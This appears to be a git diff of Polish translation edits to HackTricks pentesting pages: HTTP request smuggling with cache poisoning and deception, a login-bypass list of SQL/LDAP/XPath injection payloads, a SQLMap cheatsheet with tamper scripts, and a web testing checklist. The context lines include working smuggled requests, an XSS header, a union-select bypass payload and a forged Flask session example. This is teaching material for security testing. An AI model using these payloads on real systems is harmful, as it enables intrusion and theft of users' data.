||||
Po udanym **zatruciu gniazda**, powinno zostać zainicjowane **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie **przekierowania na stronie do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
|
||||
|
||||
Następnie każde żądanie dla `/static/include.js` będzie serwować pamiętaną zawartość skryptu atakującego, skutecznie uruchamiając szeroki atak XSS.
|
||||
|
||||
|
@ -519,9 +519,9 @@ Następnie każde żądanie dla `/static/include.js` będzie serwować pamiętan
|
|||
> **Jaka jest różnica między zatruciem pamięci podręcznej a oszustwem w pamięci podręcznej?**
|
||||
>
|
||||
> * W **zatruciu pamięci podręcznej**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
|
||||
> * W **oszustwie w pamięci podręcznej**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pobiera tę zawartość z pamięci podręcznej.
|
||||
> * W **oszustwie w pamięci podręcznej**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
|
||||
|
||||
Atakujący tworzy przemyślane żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ następujący przykład:
|
||||
Atakujący tworzy oszukane żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ następujący przykład:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -532,17 +532,17 @@ Atakujący tworzy przemyślane żądanie, które pobiera wrażliwą zawartość
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Jeśli ten przemycony żądanie zanieczyści wpis w pamięci podręcznej przeznaczony dla statycznej zawartości (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą być zbuforowane pod wpisem pamięci podręcznej statycznej zawartości. W konsekwencji, atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane.
|
||||
Jeśli ten przemycony żądanie zanieczyści wpis w pamięci podręcznej przeznaczony dla treści statycznych (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą być zbuforowane pod wpisem pamięci podręcznej treści statycznej. W konsekwencji, atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane.
|
||||
|
||||
### Wykorzystywanie TRACE za pomocą HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**W tym poście**](https://portswigger.net/research/trace-desync-attack) zasugerowano, że jeśli serwer ma włączoną metodę TRACE, może być możliwe jej nadużycie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:
|
||||
[**W tym poście**](https://portswigger.net/research/trace-desync-attack) zasugerowano, że jeśli serwer ma włączoną metodę TRACE, może być możliwe jej wykorzystanie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Wyśle odpowiedź taką jak:
|
||||
Będzie wysyłać odpowiedź taką jak:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
|
@ -561,7 +561,7 @@ Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, wi
|
|||
|
||||
Kontynuując [**ten post**](https://portswigger.net/research/trace-desync-attack), sugerowana jest inna metoda nadużywania metody TRACE. Jak wspomniano, przemycając żądanie HEAD i żądanie TRACE, możliwe jest **kontrolowanie niektórych odzwierciedlonych danych** w odpowiedzi na żądanie HEAD. Długość ciała żądania HEAD jest zasadniczo wskazywana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE.
|
||||
|
||||
Dlatego nowy pomysł polega na tym, że, znając ten Content-Length i dane podane w odpowiedzi TRACE, możliwe jest sprawienie, aby odpowiedź TRACE zawierała ważną odpowiedź HTTP po ostatnim bajcie Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być użyte do przeprowadzenia zatrucia pamięci podręcznej).
|
||||
Dlatego nowy pomysł polega na tym, że, znając ten Content-Length i dane podane w odpowiedzi TRACE, możliwe jest sprawienie, aby odpowiedź TRACE zawierała ważną odpowiedź HTTP po ostatnim bajcie Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być użyte do przeprowadzenia zanieczyszczenia pamięci podręcznej).
|
||||
|
||||
Przykład:
|
||||
```
|
||||
|
@ -613,7 +613,7 @@ Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak j
|
|||
|
||||
### Inne techniki HTTP Request Smuggling
|
||||
|
||||
* HTTP Request Smuggling w przeglądarkach (strona klienta)
|
||||
* HTTP Request Smuggling w przeglądarce (strona klienta)
|
||||
|
||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||
|
@ -625,7 +625,7 @@ Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak j
|
|||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Skrypty Turbo intrudera
|
||||
## Skrypty Turbo intruder
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -719,7 +719,7 @@ table.add(req)
|
|||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie to gramatyczny HTTP Fuzzer przydatny do znajdowania dziwnych rozbieżności w smugglingu żądań.
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie to gramatyczny HTTP Fuzzer przydatny do znajdowania dziwnych rozbieżności w request smuggling.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -735,9 +735,9 @@ table.add(req)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach mające rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -751,7 +751,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,23 +8,23 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Ta lista zawiera **ładunki do obejścia logowania za pomocą XPath, LDAP i SQL injection** (w tej kolejności).
|
||||
|
||||
Sposób użycia tej listy polega na wprowadzeniu **pierwszych 200 linii jako nazwy użytkownika i hasła.** Następnie wprowadź pełną listę najpierw w polu nazwy użytkownika, a potem w polu hasła, wpisując jakieś hasło (jak _Pass1234._) lub znaną nazwę użytkownika (jak _admin_).
|
||||
Sposób użycia tej listy polega na wprowadzeniu **pierwszych 200 linii jako nazwy użytkownika i hasła.** Następnie wprowadź pełną listę najpierw w polu nazwy użytkownika, a potem w polu hasła, wprowadzając jakieś hasło (jak _Pass1234._) lub znaną nazwę użytkownika (jak _admin_).
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
@ -833,9 +833,9 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Zdobądź perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -846,7 +846,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
# SQLMap - Cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, podatne na ataki luki, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -45,7 +45,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
```
|
||||
### Pobierz informacje
|
||||
|
||||
#### Wewnętrzne
|
||||
#### Wewnętrzny
|
||||
```bash
|
||||
--current-user #Get current user
|
||||
--is-dba #Check if current user is Admin
|
||||
|
@ -100,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** umożliwia użycie `-e` lub `--eval`, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W następującym przykładzie **sesja cookie flask** **jest podpisywana przez flask znanym sekretem przed jej wysłaniem**:
|
||||
**Sqlmap** umożliwia użycie `-e` lub `--eval`, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W poniższym przykładzie **sesja cookie flask** **jest podpisywana przez flask znanym sekretem przed jej wysłaniem**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
|
@ -172,11 +172,11 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
|
|||
| charunicodeencode.py | Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "%u0022" |
|
||||
| charunicodeescape.py | Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "\u0022" |
|
||||
| equaltolike.py | Zastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE' |
|
||||
| escapequotes.py | Używa znaku ukośnika do ucieczki dla cudzysłowów (' i ") |
|
||||
| greatest.py | Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST' |
|
||||
| escapequotes.py | Używa znaku ukośnika do ucieczki cytatów (' i ") |
|
||||
| greatest.py | Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym |
|
||||
| ifnull2ifisnull.py | Zastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Otacza pełne zapytanie wersjonowanym komentarzem |
|
||||
| modsecurityversioned.py | Otacza pełne zapytanie wersjonowanym komentarzem |
|
||||
| modsecurityzeroversioned.py | Otacza pełne zapytanie zerowym wersjonowanym komentarzem |
|
||||
| multiplespaces.py | Dodaje wiele spacji wokół słów kluczowych SQL |
|
||||
| nonrecursivereplacement.py | Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtruje |
|
||||
|
@ -184,32 +184,32 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
|
|||
| overlongutf8.py | Konwertuje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
|
||||
| randomcase.py | Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter |
|
||||
| randomcomments.py | Dodaje losowe komentarze do słów kluczowych SQL |
|
||||
| securesphere.py | Dodaje specjalnie skonstruowany ciąg |
|
||||
| sp\_password.py | Dodaje 'sp\_password' na końcu ładunku w celu automatycznego zaciemnienia w logach DBMS |
|
||||
| securesphere.py | Dodaje specjalnie skonstruowany ciąg |
|
||||
| sp\_password.py | Dodaje 'sp\_password' na końcu ładunku w celu automatycznego ukrycia w logach DBMS |
|
||||
| space2comment.py | Zastępuje znak spacji (' ') komentarzami |
|
||||
| space2dash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2hash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2morehash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2mssqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mssqlhash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n') |
|
||||
| space2mysqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mysqldash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n') |
|
||||
| space2plus.py | Zastępuje znak spacji (' ') znakiem plusa ('+') |
|
||||
| space2randomblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2dash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--'), po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2hash.py | Zastępuje znak spacji (' ') znakiem funta ('#'), po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2morehash.py | Zastępuje znak spacji (' ') znakiem funta ('#'), po którym następuje losowy ciąg i nowa linia ('\n') |
|
||||
| space2mssqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mssqlhash.py | Zastępuje znak spacji (' ') znakiem funta ('#'), po którym następuje nowa linia ('\n') |
|
||||
| space2mysqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| space2mysqldash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--'), po którym następuje nowa linia ('\n') |
|
||||
| space2plus.py | Zastępuje znak spacji (' ') znakiem plusa ('+') |
|
||||
| space2randomblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
|
||||
| symboliclogical.py | Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i |
|
||||
| unionalltounion.py | Zastępuje UNION ALL SELECT z UNION SELECT |
|
||||
| unmagicquotes.py | Zastępuje znak cudzysłowu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało) |
|
||||
| unmagicquotes.py | Zastępuje znak cytatu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało) |
|
||||
| uppercase.py | Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT' |
|
||||
| varnish.py | Dodaje nagłówek HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Otacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL |
|
||||
| versionedmorekeywords.py | Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL |
|
||||
| versionedmorekeywords.py | Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL |
|
||||
| xforwardedfor.py | Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach mające rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -222,8 +222,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,16 +17,16 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne wrażliwości z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, eksploatowalne wrażliwości mające realny wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
W każdym teście pentestingu webowego istnieje **wiele ukrytych i oczywistych miejsc, które mogą być wrażliwe**. Ten post ma być listą kontrolną, aby potwierdzić, że przeszukałeś wrażliwości we wszystkich możliwych miejscach.
|
||||
W każdym teście pentestingu webowego istnieje **kilka ukrytych i oczywistych miejsc, które mogą być wrażliwe**. Ten post ma być listą kontrolną, aby potwierdzić, że przeszukałeś wrażliwości we wszystkich możliwych miejscach.
|
||||
|
||||
## Proxysy
|
||||
## Proxies
|
||||
|
||||
{% hint style="info" %}
|
||||
Obecnie **aplikacje webowe** zazwyczaj **używają** jakiegoś rodzaju **pośredniczących** **proxy**, które mogą być (nadużywane) do eksploatacji wrażliwości. Te wrażliwości potrzebują, aby wrażliwe proxy było na miejscu, ale zazwyczaj potrzebują również dodatkowej wrażliwości w backendzie.
|
||||
|
@ -50,7 +50,7 @@ W zależności od struktury danych, które serwer oczekuje, niektóre wrażliwo
|
|||
|
||||
### **Wartości odzwierciedlone**
|
||||
|
||||
Jeśli wprowadzone dane mogą w jakiś sposób być odzwierciedlone w odpowiedzi, strona może być podatna na kilka problemów.
|
||||
Jeśli wprowadzone dane mogą w jakiś sposób być odzwierciedlone w odpowiedzi, strona może być wrażliwa na kilka problemów.
|
||||
|
||||
* [ ] [**Iniekcja szablonów po stronie klienta**](client-side-template-injection-csti.md)
|
||||
* [ ] [**Iniekcja poleceń**](command-injection.md)
|
||||
|
@ -127,8 +127,8 @@ Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśl
|
|||
|
||||
### Pliki
|
||||
|
||||
